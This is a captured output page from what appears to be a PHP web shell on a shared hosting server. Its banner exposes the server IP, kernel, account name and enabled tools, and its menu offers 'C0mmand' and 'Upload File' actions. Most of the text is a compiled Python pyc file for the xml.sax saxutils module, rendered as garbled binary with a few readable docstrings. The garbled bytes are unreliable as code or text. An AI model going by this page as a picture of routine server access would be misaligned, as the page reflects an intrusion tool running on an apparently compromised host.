|
Server IP : 162.241.148.128 / Your IP : 216.73.216.48 Web Server : Apache System : Linux md-ht-9.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : caribhll ( 2226) PHP Version : 8.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /opt/rh/rh-python35/root/usr/lib64/python3.5/xml/sax/__pycache__/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
���\�/ � @ s� d Z d d l Z d d l Z d d l Z d d l Z d d l Z d d l m Z d d l m Z d d � Z
i d d � Z i d
d � Z i d d
� Z
d d � Z Gd d � d e j � Z Gd d � d e j � Z d d d � Z d S)znA library of useful helper classes to the SAX classes, for the
convenience of application and driver writers.
� N� )�handler)� xmlreaderc C s3 x, | j � D] \ } } | j | | � } q
W| S)z2Replace substrings of a string using a dictionary.)�items�replace)�s�d�key�value� r �@/opt/rh/rh-python35/root/usr/lib64/python3.5/xml/sax/saxutils.py�__dict_replace s r
c C sO | j d d � } | j d d � } | j d d � } | rK t | | � } | S)z�Escape &, <, and > in a string of data.
You can escape other strings of data by passing a dictionary as
the optional entities parameter. The keys and values must all be
strings; each key will be replaced with its corresponding value.
�&z&�>z>�<z<)r r
)�data�entitiesr r r �escape s r c C sI | j d d � } | j d d � } | r9 t | | � } | j d d � S)a
Unescape &, <, and > in a string of data.
You can unescape other strings of data by passing a dictionary as
the optional entities parameter. The keys and values must all be
strings; each key will be replaced with its corresponding value.
z<r z>r z&r )r r
)r r r r r �unescape"